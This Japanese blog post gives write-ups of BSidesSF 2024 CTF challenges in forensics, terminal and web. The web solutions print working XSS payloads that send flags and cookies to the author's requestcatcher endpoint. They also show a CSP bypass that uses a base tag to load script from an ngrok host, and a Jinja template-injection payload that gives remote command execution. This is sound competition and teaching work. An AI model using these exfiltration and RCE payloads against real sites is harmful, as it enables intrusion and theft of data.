はまやんはまやんはまやん

hamayanhamayan's blog

BSidesSF 2024 CTF Writeups

https://ctftime.org/event/2357

[Forensics] doctor

SuperSecretWordDoc.docxというファイルが与えられる。拡張子のdocxをzipに変えて解凍してみると、image0.pngという画像が入っており、中身を見るとフラグが書いてある。

[Forensics] [101] javai

JavAI.docxというファイルが与えられる。docxファイルはzipファイルとして展開可能なので、変名して展開する。中にgetflag.classというファイルが入っていた。stringsコマンドで適当に文字列を抜き出してみるとフラグが書いてあった。

[Web] match-one

ソースコード無し。神経衰弱ができるサイトが与えられる。適当に遊んでクリアしてからフラグを要求すると

You got some pairs wrong, reset the game and try again!

と言われる。全問正解でないと駄目なようだ。GET /homeにアクセスするとゲームがリセットされるが、この応答でカードのaltに番号が付けられていて、何番のカードがどこにあるかが応答で分かってしまう。

<div class="memory-card" data-id="2" data-value="2">
    <img class="front-face" src="/static/images/2.png" alt="BSidesSF" />
    <img class="back-face" src="/static/images/back.png" alt="2" />
</div>

これは2番のカード。これにより、盤面の状態をすべて把握できるので、ノーミスで神経衰弱をクリアするとフラグがもらえた。

[Terminal] [101] meow

ターミナルへのアクセスが与えられる。特に制約はなく、/home/ctf/flag.txtを読む問題。cat /home/ctf/flag.txtでフラグ獲得。

[Terminal] No Tools

ターミナルへのアクセスが与えられる。バイナリが色々が使えなくなっていて、/home/ctf/flag.txtを読む問題。色々使えないが、shの組み込み機能だけでファイルは読める。ref

while read line; do
  echo $line;
done <flag.txt

[Forensics] [101] undelete

floppy.imgというディスクイメージが与えられて隠されたファイルを取得する問題。

101問題だからか、how_to_solve.txtという解き方が書かれたファイルが与えられる。その中からbinwalkで解いた。binwalk -v --dd='png' -C . floppy.imgとして、4400というファイルがpngファイルとして取れてくるので中を見るとフラグが書いてある。

[Web] web-tutorial系

XSSできるサイトが与えられるので、管理者権限でGET /xss-???-flagを読んでフラグを得る問題群。

[Web] web-tutorial-1

<script>alert(1);</script>XSSできるという情報と、管理者権限でGET /xss-one-flagすればフラグが得られるという情報が与えられるので、フラグを抜いてくる入門問題。

<script>fetch('/xss-one-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})</script>

という感じでフラグを抜いた。

[Web] web-tutorial-2

今度は自分でXSSする術を考える必要がある。管理者権限でGET /xss-two-flagが取得できればフラグ獲得。CSPは

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n'; connect-src *; style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com; font-src 'self' fonts.gstatic.com fonts.googleapis.com

という感じで、埋め込み方は

[input]
<script nonce="7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n" src="woof.js"></script>

という感じ。woof.jsというのはあるが、404エラーになっていた。base-uriが無い、かつ、default-srcが適用されないのでbaseタグによる差し込みが行えそう。まず、woof.jsという名前で以下のようなファイルを作成する。

fetch('https://web-tutorial-2-3ebcc611.challenges.bsidessf.net/xss-two-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})

次に、これをpythonでwebサーバーを立ててホスト python3 -m http.server 8989 し、ngrokで公開 /opt/ngrok http 8989 する。 ngrokから払い出されたドメインを使ってbaseタグを用意して、<base href="https://e6b0-126-221-138-223.ngrok-free.app/" />のように送ればbaseタグによってwoof.jsが自前でホストしたものに差し替えられ、XSSが達成できる。

[Web] web-tutorial-3

管理者権限でGET /xss-three-flagが取得できればフラグ獲得。CSPは以下のような感じ。

Content-Security-Policy: default-src 'self' 'unsafe-inline';script-src 'self' data:;connect-src *;style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com;font-src 'self' fonts.gstatic.com fonts.googleapis.com

script-srcとしてdata:が許可されているので、それを使ってjavascriptを実行できる。

<script src="data:text/javascript,fetch('/xss-three-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test',{method:'post',body:e})})"></script>

[Forensics] ztxt

ztxt.pngというファイルが与えられる。問題文は以下のような感じ。

Ze zhope zou zan zind zour zlag zin ztext zhunk

zstegかな…と思ってやってみると正解。

$ zsteg ztxt.png 
meta flag           .. text: "CTF{■■■■■■■■■■■■■■}"
imagedata           .. text: "UUUUUUUUUUUUUUVfffffwvfffffUUUVfUfffUUUUUUUUUEUVeUUUUUUfefeUVfffffVfffffffffffwvUUfffffgvfgvfffffVfgeUUfffUUfffffffffffffVfeUVfffgfffffffgvfffffgvgwwwwfgfwwwwwwwvfffgwvvffwwwwwwvffvffffffggegwvwffeUVfefffUUUVffffffffVfffffffffeUVgfgwffeVffffUUUVfffffffffffUUUfffeUVfffUUVffffUUUUUfffeUfffeUUUVfffffffffffVfVffeUVUUfffffffgfffffffgvfffffeVfffffffveUUffffffffffffefffUUUUUVUUUfeUVUVfgfwgwffffffUfUUUffffeUUffgveffeVffffVffffffwffeUUUUUUUUVfffffffffffffgwffffffffffffUffUfffffeUUfffffwffffffffffUUUff"
b2,r,msb,xy         .. file: VISX image file
b2,b,lsb,xy         .. text: "UUUUUUU]U"
b4,r,lsb,xy         .. text: "UUUUUUU\\"
b4,r,msb,xy         .. text: "wwwwwwwwwwwwww733333"
b4,g,lsb,xy         .. text: ["3" repeated 20 times]
b4,b,lsb,xy         .. text: "wwwwwwwwwwwwwwy"

[Web] business-expense

ソースコード有り。管理者に承認が得られるサイトが与えられる。問題文に

There is also an admin user that is periodically accessing certain endpoints.

と記載があり、admin.htmlが以下のような感じでXSSできそうな見た目をしているので、/adminに定期アクセスがあるんだろう。

<td>
    {{ v.expense | safe}}
</td>
<td>
    {{ v.cost }}
</td>
<td>
    {{ v.currency | safe}}
</td>

まずはXSSを達成する。

XSS

上記にあるようにexpenseとcurrencyでXSS発生できる可能性がある。これらを代入している所を探すとPOST /api/saveExpensesで使われている。

@app.route('/api/saveExpenses', methods=['POST'])
@login_required
def save_expenses():
    for expense in request.json:
        if len(expense["expense"]) > 50:
            return "Expense names must be less than 50 characters long", 400
        expense["expense"] = escape(expense["expense"])

        if not expense["cost"].replace('.', '', 1).isdigit():
            return "Expense costs must be a number", 400

        if len(expense["currency"]) > 10:
            return "Expense currency must be less than or equal to 10 characters", 400

    
    current_user.expenses = json.dumps(request.json)
    current_user.status = "Updated"
    db.session.commit()

    return "Looks good", 200

expanseはescapeがかまされているが、currencyの方は長さチェックだけ行われている。10文字以下であることが強制されているが、型チェックが無いので配列を使えば回避できそうである。やってみよう。GET /adminに表示させるにはキューに入れる必要がある。

  1. 適当にアカウントを作り、ログイン
  2. POST /api/saveExpensesで自分のcurrencyを["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]とする
POST /api/saveExpenses HTTP/2
Host: business-expense-14bece99.challenges.bsidessf.net
Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E
Content-Length: 156
Content-Type: application/json;charset=UTF-8

[{"expense":"dinner","cost":"50","currency":["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]}]
  1. POST /api/addToQueueでキューに入れる
  2. adminが踏むのを待つ

これで試すと踏まれた!XSSは達成できた。しかし、sessionトークンはHttpOnlyで取得はできないようだ。しょうがないので、このまま攻撃を進める。

RCE

ここからRCEにつないでいく。以下のように不自然にテンプレートを使っている所がある。

@app.route('/api/getStatus', methods=['GET'])
@login_required
def get_status():
    out = ""
    if current_user.status == "Accepted":
        out = "<div style=\"color:green;\">"+current_user.status+"</div>"
    elif current_user.status == "Denied":
        out = "<div style=\"color:red;\">"+current_user.status+"</div>"
    else:
        out = "<div>"+current_user.status+"</div>"

    return render_template_string(out)

ユーザーのstatusが変更できればこれは達成できそう。statusの変更は以下のようにやる。POST /api/updateExpenseStatusでできそう。

@app.route('/api/updateExpenseStatus', methods=['POST'])
@login_required
def update_expense_status():
    if current_user.admin:
        if len(users_queue) > 0:
            if users_queue[0][1] == request.json["popID"]:
                user = load_user(users_queue.pop(0)[0])
                user.status = request.json["status"]

                db.session.commit()
                return "Looks good", 200
            else:
                return "Invalid popID", 400
        else:
            return "No pending requests", 400
    else: 
        return "Must be an admin to access this page", 403

実はこれの呼び出しが管理人がやっていることで、admin.jsを見ると呼び出しコードがある。

window.addEventListener("load", () => {

    document.querySelector("#approve").onclick = () => statusButtons.updateStatus("Accepted", document.getElementById("approve").value);
    document.querySelector("#deny").onclick = () => statusButtons.updateStatus("Denied", document.getElementById("deny").value);
    
});

var statusButtons = {
    updateStatus : (message, popID) => {
        var xhttp = new XMLHttpRequest();
        xhttp.open("POST", "/api/updateExpenseStatus")
        xhttp.setRequestHeader("Content-Type", "application/json")
        xhttp.onreadystatechange = () => {location.reload();};
        xhttp.send(JSON.stringify({"popID": popID, "status": message}))
        console.log(xhttp.status)
    }
}

よって、これに従って呼んでやればいいのだが、botのソースが無いので謎のバグが取れず、非常に難航。以下のようなHTMLをいい感じに送ると更新できた。adminが踏んだ後にGET /api/getStatusにアクセスすると{{4*4}}が評価されて16が帰ってくることが確認できる。かなり動作は不安定。

<script>
const sleep = ms => new Promise(r => setTimeout(r, ms));
setTimeout(async () => {
    fetch(`https://[yours].requestcatcher.com/log1`);
    var xhttp = new XMLHttpRequest();
    xhttp.open('POST', '/api/updateExpenseStatus');
    xhttp.setRequestHeader('Content-Type', 'application/json');
    xhttp.send(JSON.stringify({'popID': document.getElementById('approve').value, 'status': '{{4*4}}'}));
    fetch(`https://[yours].requestcatcher.com/log2`);
}, 0)
</script>
<img src='https://ba43-86-48-12-221.ngrok-free.app/sleep.jpg'>

動作不安定すぎてやばかったが、何とか{{request.application.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}を送り込むことができた。これでGETパラメタ経由でRCEできるようになった。後は色々やると以下でフラグが得られる。

GET /api/getStatus?a=os&b=cat%20%2fapp%2fflag.txt HTTP/2
Host: business-expense-14bece99.challenges.bsidessf.net
Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E